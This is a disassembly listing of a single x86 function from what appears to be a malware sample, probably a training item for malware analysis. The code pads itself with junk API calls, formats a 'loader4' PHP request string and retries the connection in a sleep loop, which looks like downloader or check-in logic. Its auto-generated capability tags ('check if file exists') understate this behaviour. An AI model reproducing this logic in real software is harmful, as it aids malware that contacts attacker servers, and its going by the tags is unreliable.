Function at 0x10003c68
Capabilities:
Check if file exists
Get file attributes

Disassembly:
push ebp
mov ebp, esp
mov eax, 0x2510
call fcn.100052a0
push ebx
push esi
push edi
xor ebx, ebx
push 0x800
lea eax, [ebp - 0x910]
push ebx
push eax
mov byte [ebp - 1], bl
call fcn.100082d0
push 0x400
lea eax, [ebp - 0xd10]
push ebx
push eax
call fcn.100082d0
mov esi, dword [sym.imp.KERNEL32.dll_ResetEvent]
add esp, 0x18
push ebx
call esi
test eax, eax
mov edi, dword [sym.imp.KERNEL32.dll_GetFileAttributesA]
je 0x10003cba
push ebx
call edi
push ebx
call edi
push ebx
call esi
push ebx
call edi
push ebx
call esi
push ebx
call edi
push ebx
call esi
push 0x400
lea eax, [ebp - 0x1110]
push ebx
push eax
call fcn.100082d0
add esp, 0xc
push ebx
call esi
test eax, eax
je 0x10003ceb
push ebx
call edi
push ebx
call edi
push ebx
call esi
push ebx
call edi
push ebx
call esi
push ebx
call edi
push ebx
call esi
push 0x400
lea eax, [ebp - 0x1510]
push ebx
push eax
call fcn.100082d0
push 0x800
lea eax, [ebp - 0x1d10]
push ebx
push eax
call fcn.100082d0
push 0x800
lea eax, [ebp - 0x2510]
push ebx
push eax
call fcn.100082d0
add esp, 0x24
push ebx
call esi
test eax, eax
je 0x10003d40
push ebx
call edi
push ebx
call edi
push ebx
call esi
push ebx
call edi
push ebx
call esi
push ebx
call edi
push ebx
call esi
mov dword [ebp - 8], ebx
push ebx
call esi
test eax, eax
je 0x10003d5f
push ebx
call edi
push ebx
call edi
push ebx
call esi
push ebx
call edi
push ebx
call esi
push ebx
call edi
push ebx
call esi
lea eax, [ebp - 0xd10]
push eax
mov eax, dword [ebp + 8]
xor ecx, ecx
mov cl, byte [eax + 8]
push ecx
push dword [eax + 4]
call fcn.1000310e
lea eax, [ebp - 0xd10]
push eax
lea eax, [ebp - 0x910]
push eax
call fcn.100081d0
lea eax, [ebp - 0x910]
push 0x100093b8
push eax
call fcn.100081e0
lea eax, [ebp - 0x1110]
push eax
call fcn.100029f5
add esp, 0x20
push ebx
call esi
test eax, eax
je 0x10003dc6
push ebx
call edi
push ebx
call edi
push ebx
call esi
push ebx
call edi
push ebx
call esi
push ebx
call edi
push ebx
call esi
lea eax, [ebp - 0x1110]
push eax
lea eax, [ebp - 0x910]
push eax
call fcn.100081e0
lea eax, [ebp - 0x910]
push 0x100093b8
push eax
call fcn.100081e0
add esp, 0x10
push ebx
call esi
test eax, eax
je 0x10003e09
push ebx
call edi
push ebx
call edi
push ebx
call esi
push ebx
call edi
push ebx
call esi
push ebx
call edi
push ebx
call esi
mov eax, dword [ebp + 8]
cmp dword [eax + 4], ebx
jne 0x10003e56
lea eax, [ebp - 0x1510]
push eax
call fcn.10002e04
lea eax, [ebp - 0x1510]
push eax
lea eax, [ebp - 0x910]
push eax
call fcn.100081e0
lea eax, [ebp - 0x910]
push 0x100093b8
push eax
call fcn.100081e0
add esp, 0x14
lea eax, [ebp - 0x1d10]
push eax
lea eax, [ebp - 0x910]
push eax
call fcn.1000274c
pop ecx
pop ecx
push ebx
call esi
test eax, eax
je 0x10003e75
push ebx
call edi
push ebx
call edi
push ebx
call esi
push ebx
call edi
push ebx
call esi
push ebx
call edi
push ebx
call esi
lea eax, [ebp - 0x1d10]
push eax
push str.ram
push 0x100093ac
push str..php
push 0x100093a0
push 0x1000939c
push 0x10009398
push 0x10009394
push 0x10009390
lea eax, [ebp - 0x2510]
push str.__s_loader4__s_s_s_s_s__s_s_s
push eax
call dword [sym.imp.USER32.dll_wsprintfA]
add esp, 0x2c
push ebx
call esi
test eax, eax
je 0x10003ed5
push ebx
call edi
push ebx
call edi
push ebx
call esi
push ebx
call edi
push ebx
call esi
push ebx
call edi
push ebx
call esi
lea eax, [ebp - 0x110]
push eax
call fcn.10002660
pop ecx
push ebx
call esi
test eax, eax
je 0x10003efe
push ebx
call edi
push ebx
call edi
push ebx
call esi
push ebx
call edi
push ebx
call esi
push ebx
call edi
push ebx
call esi
lea eax, [ebp - 0x110]
push eax
lea eax, [ebp - 0x2510]
push eax
mov eax, dword [ebp - 8]
push dword [eax*4 + 0x1000a378]
call section..text
add esp, 0xc
cmp eax, 0xffffffff
mov dword [ebp - 0xc], eax
je 0x10003f81
mov ecx, dword [ebp + 8]
cmp byte [ecx + 8], bl
jne 0x10003f4b
push eax
call fcn.100035ec
test al, al
pop ecx
je 0x10003f57
mov eax, dword [ebp - 8]
mov ecx, dword [ebp + 8]
mov dword [ecx], eax
mov byte [ebp - 1], 1
push ebx
call esi
test eax, eax
je 0x10003f61
push ebx
call edi
push ebx
call edi
push ebx
call esi
push ebx
call edi
push ebx
call esi
push ebx
call edi
push ebx
call esi
push dword [ebp - 0xc]
call dword [sym.imp.KERNEL32.dll_CloseHandle]
cmp byte [ebp - 1], bl
jne 0x10003fb5
push ebx
call esi
test eax, eax
je 0x10003f8b
push ebx
call edi
push ebx
call edi
push ebx
call esi
push ebx
call edi
push ebx
call esi
push ebx
call edi
push ebx
call esi
push 0x2bf20
call dword [sym.imp.KERNEL32.dll_Sleep]
inc dword [ebp - 8]
cmp dword [ebp - 8], 3
jb 0x10003d55
mov al, byte [ebp - 1]
pop edi
pop esi
pop ebx
leave
ret